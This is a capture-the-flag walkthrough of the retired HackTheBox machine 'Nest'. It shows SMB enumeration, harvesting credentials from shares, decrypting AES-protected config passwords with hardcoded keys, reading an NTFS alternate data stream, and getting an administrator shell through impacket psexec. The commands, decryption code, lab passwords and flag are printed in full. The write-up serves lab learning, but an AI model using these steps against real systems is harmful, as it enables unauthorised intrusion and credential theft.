HTB: Nest
Posted on 07 Jun 2020 in security • 10 min read
This is a writeup about a retired HacktheBox machine: Nest This box is classified as an easy machine. It was publish on January the 25th by VbScrub. This box is a bit different that the other ones on HTB. Until the last step you never have a shell on the box (and none is needed to root it). All commands and enumeration are done on the SMB service. There is also a personnalized service HQK.
Getting user involve understanding a bit of cryptography (homemade combination of base64 and AES) but nothing too complexe.
Getting root required to decompile some .NET executable to get some parameter for the homemade encryption.
User
Recon
We start with an nmap scan. Only the ports 445 (SMB) and 4386 are open.
# Nmap 7.80 scan initiated Mon Jan 27 03:59:58 2020 as: nmap -p- -sS -oA nmap_p 10.10.10.178
Nmap scan report for 10.10.10.178
Host is up (0.26s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
445/tcp open microsoft-ds
4386/tcp open unknown
# Nmap done at Mon Jan 27 04:08:04 2020 -- 1 IP address (1 host up) scanned in 485.47 seconds
HQK Reporting Service
We connect to the port 4386 using telnet. This service allow us to list the
files on the system but nothing more. The DEBUG
function seems interesting but
we need a password for it.
#telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>SETDIR C:\Users\
Current directory set to Users
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[DIR] Administrator
[DIR] All Users
[DIR] Default
[DIR] Default User
[DIR] Public
[DIR] Service_HQK
[DIR] TempUser
[1] desktop.ini
Current Directory: Users
SMB
We enumerate the shares on the SMB server using metasploit. The share Data
seems interesting.
msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.10.10.178
RHOSTS => 10.10.10.178
msf5 auxiliary(scanner/smb/smb_enumshares) > run
[+] 10.10.10.178:445 - ADMIN$ - (DISK) Remote Admin
[+] 10.10.10.178:445 - C$ - (DISK) Default share
[+] 10.10.10.178:445 - Data - (DISK)
[+] 10.10.10.178:445 - IPC$ - (IPC) Remote IPC
[+] 10.10.10.178:445 - Secure$ - (DISK)
[+] 10.10.10.178:445 - Users - (DISK)
[*] 10.10.10.178: - Scanned 1 of 1 hosts (100% complete)
We connect to this share anonymously and start to enumerate the folder and files on the share. We quickly find a "Welcome Email" in the HR templates folder.
# smbclient //10.10.10.178/Data -U " "%" "
Try "help" to get a list of possible commands.
smb: \> cd Shared\Templates\HR
smb: \Shared\Templates\HR\> mget "Welcome Email.txt"
Get file Welcome Email.txt? y
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
This template email contain the username "TempUser" and its password.
# cat Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR
SBM as TempUser
We can then connect to the SMB share using our "TempUser". We found a lot of
configuration files. The RU_config.xml
contain what seems to be a base64
password for the c.smith user. We try to decode it using base64 -d
but the result is not printable
characters.
# cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
Looking a bit more at the files we found the NotepadPlusPlus configuration file
containing the history of the recently edited files. The
\\HTB-NEST\Secure$\IT\Carl\Temp.txt
seems to be interesting.
#tail config.xml
<Find name="redeem on" />
<Find name="192" />
<Replace name="C_addEvent" />
</FindHistory>
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
</NotepadPlus>
We connect to the "Secure$" share and go to Carl's folder. The Temp.txt doesn't exist anymore but we found some visual basic code in a WIP folder.
# smbclient //10.10.10.178/Secure$ -U "TempUser"%"welcome2019
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> dir
. D 0 Wed Aug 7 18:05:54 2019
.. D 0 Wed Aug 7 18:05:54 2019
bin D 0 Wed Aug 7 16:00:11 2019
ConfigFile.vb A 772 Wed Aug 7 18:05:09 2019
Module1.vb A 279 Wed Aug 7 18:05:44 2019
My Project D 0 Wed Aug 7 16:00:11 2019
obj D 0 Wed Aug 7 16:00:11 2019
RU Scanner.vbproj A 4828 Fri Aug 9 11:37:51 2019
RU Scanner.vbproj.user A 143 Tue Aug 6 08:55:27 2019
SsoIntegration.vb A 133 Wed Aug 7 18:05:58 2019
Utils.vb A 4888 Wed Aug 7 15:49:35 2019
We download everything on our computer. The "Module1.vb" file is a module loading a XML file "RU_config.xml" and using the Utils library to decode the password stored in the file. We already have the XML file.
Module Module1
Sub Main()
Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
Console.WriteLine("Hello")
End Sub
End Module
The "Utils.vb" file contain the decrypting methods and the passphrase, the salt value, the number of password iteration, the initialisation vector (for CBC mode) and the key size.
Imports System.Text
Imports System.Security.Cryptography
Public Class Utils
Public Shared Function GetLogFilePath() As String
Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
End Function
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function EncryptString(PlainString As String) As String
If String.IsNullOrEmpty(PlainString) Then
Return String.Empty
Else
Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function Encrypt(ByVal plainText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
Using memoryStream As New IO.MemoryStream()
Using cryptoStream As New CryptoStream(memoryStream, _
encryptor, _
CryptoStreamMode.Write)
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
cryptoStream.FlushFinalBlock()
Dim cipherTextBytes As Byte() = memoryStream.ToArray()
memoryStream.Close()
cryptoStream.Close()
Return Convert.ToBase64String(cipherTextBytes)
End Using
End Using
End Function
Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End Class
We fire up a Windows Box, install Microsoft Visual Basic 2010 Express and create a new "Application Console project" with a simple module to decode the c.smith password we got in the XML file.
The code is the following. As the console is disappearing just after the run I put a second print and run the program in debug mode.
Imports System.Text
Imports System.Security.Cryptography
Module Module1
Sub Main()
Console.WriteLine(Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256))
Console.WriteLine("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")
End Sub
Public Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End Module
We get the c.smith password: xRxRxPANCAK3SxRxRx. We can now connect to the "Users" share using c.smith account. We got the user.txt file.
# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx"
Try "help" to get a list of possible commands.
smb: \> cd C.Smith\
smb: \C.Smith\> mget user.txt
Get file user.txt? y
getting file \C.Smith\user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Getting root
We enumerate more and found some configuration about the HQK service (the one on port 4386). There is also a file "Debug Mode Password.txt". The file can be copied on disk but is empty.
smb: \C.Smith\> cd "HQK Reporting\"
smb: \C.Smith\HQK Reporting\> dir
. D 0 Thu Aug 8 19:06:17 2019
.. D 0 Thu Aug 8 19:06:17 2019
AD Integration Module D 0 Fri Aug 9 08:18:42 2019
Debug Mode Password.txt A 0 Thu Aug 8 19:08:17 2019
HQK_Config_Backup.xml A 249 Thu Aug 8 19:09:05 2019
10485247 blocks of size 4096. 6449598 blocks available
Alternate data streams
The file seems to be empty because its author used the NTFS alternate data streams.
It is possible to get the information about the alternate data steams for a file using smbclient.
We require the informations about the file in C.Smith folder and we download the file using the alternate data stream.
root@kalili:~# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx" -c 'allinfo "C.Smith\HQK Reporting\Debug Mode Password.txt"'
altname: DEBUGM~1.TXT
create_time: Thu Aug 8 07:06:12 PM 2019 EDT
access_time: Thu Aug 8 07:06:12 PM 2019 EDT
write_time: Thu Aug 8 07:08:17 PM 2019 EDT
change_time: Thu Aug 8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
root@kalili:~# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx" -c 'get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA"
> '
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
The file is not empty anymore and contain the password for the DEBUG mode of the HQK service.
root@kalili:~# cat C.Smith\\HQK\ Reporting\\Debug\ Mode\ Password.txt\:Password\:\$DATA
WBQ201953D8w
HqkLdap.exe
We enumerate the folder more and we found a HqkLdap.exe binary. We download it on our system.
smb: \C.Smith\HQK Reporting\> cd "AD Integration Module
smb: \C.Smith\HQK Reporting\AD Integration Module\> dir
. D 0 Fri Aug 9 08:18:42 2019
.. D 0 Fri Aug 9 08:18:42 2019
HqkLdap.exe A 17408 Wed Aug 7 19:41:16 2019
10485247 blocks of size 4096. 6449664 blocks available
smb: \C.Smith\HQK Reporting\AD Integration Module\> mget HqkLdap.exe
Get file HqkLdap.exe? y
getting file \C.Smith\HQK Reporting\AD Integration Module\HqkLdap.exe of size 17408 as HqkLdap.exe (9.9 KiloBytes/sec) (average 9.9 KiloBytes/sec)
DEBUG HQK Reporting Service
We connect to the service and start the debug mode.
root@kalili:~# telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>DEBUG WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional commands that are now available
We list the command to see what's new. The new commands are: * SERVICE * SESSION * SHOWQUERY
We run them, session and service just show use informations about our session and the service.
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
>session
--- Session Information ---
Session ID: cb4c294e-1f27-4e1c-90e8-86d22367701e
Debug: True
Started At: 1/27/2020 4:33:48 PM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.14.30:36462
Current Query Directory: C:\Program Files\HQK\ALL QUERIES
>service
--- HQK REPORTING SERVER INFO ---
Version: 1.2.0.0
Server Hostname: HTB-NEST
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
Server Running As: Service_HQK
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES
We go to the C:\Program Files\HQK\
directory.
>list
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xml
The Showquery function allow use to read the files in the current directory. The file HQK_Config.xml contain our debugging password and the port of the service.
>showquery 3
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<DebugPassword>WBQ201953D8w</DebugPassword>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>
We go to the LDAP directory. We found the exe we already got and a configuration file. This file contain the Administrator encoded password.
>setdir ldap
Current directory set to ldap
>list
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[1] HqkLdap.exe
[2] Ldap.conf
Current Directory: ldap
>showquery 2
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
"Reversing" HqkLdap.exe
We download the latest release of dnSpy and load the binary. We quickly find some encryption and decryption functions. They are similar to the ones in the Utils.vb but use different parameters (passphrase, salt, number of password iteration, initialisation vector and key size).
We change the values in our previous module in MS Visual Basic 2010 Express and rerun the code. The only changed line is the following:
Console.WriteLine(Decrypt("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256))
This give us the administrator password: XtH4nkS4Pl4y1nGX.
We connect to the "C$" share as administrator and are able to get the root flag.
# smbclient //10.10.10.178/C$ -U "Administrator"%"XtH4nkS4Pl4y1nGX"
Try "help" to get a list of possible commads.
smb: \> cd Users\Administrator\
smb: \Users\Administrator\> cd Desktop\
smb: \Users\Administrator\Desktop\> ls
. DR 0 Sun Jan 26 02:20:50 2020
.. DR 0 Sun Jan 26 02:20:50 2020
desktop.ini AHS 282 Sat Jan 25 17:02:44 2020
root.txt A 32 Mon Aug 5 18:27:26 2019
10485247 blocks of size 4096. 6449582 blocks available
smb: \Users\Administrator\Desktop\> mget root.txt
Get file root.txt? y
getting file \Users\Administrator\Desktop\root.txt of size 32 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)n
We can also use psexec to directly execute commands on the system as administrator.
python psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file xHADOhNA.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service OtZQ on 10.10.10.178.....
[*] Starting service OtZQ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ../..
C:\>cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
6594c2eb084bc0f08a42f0b94b878c41
Wrapping up
This box was interesting but a bit ctfish. I learn a few things about NTFS alternate data stream and how to get them from a GNU/Linux box.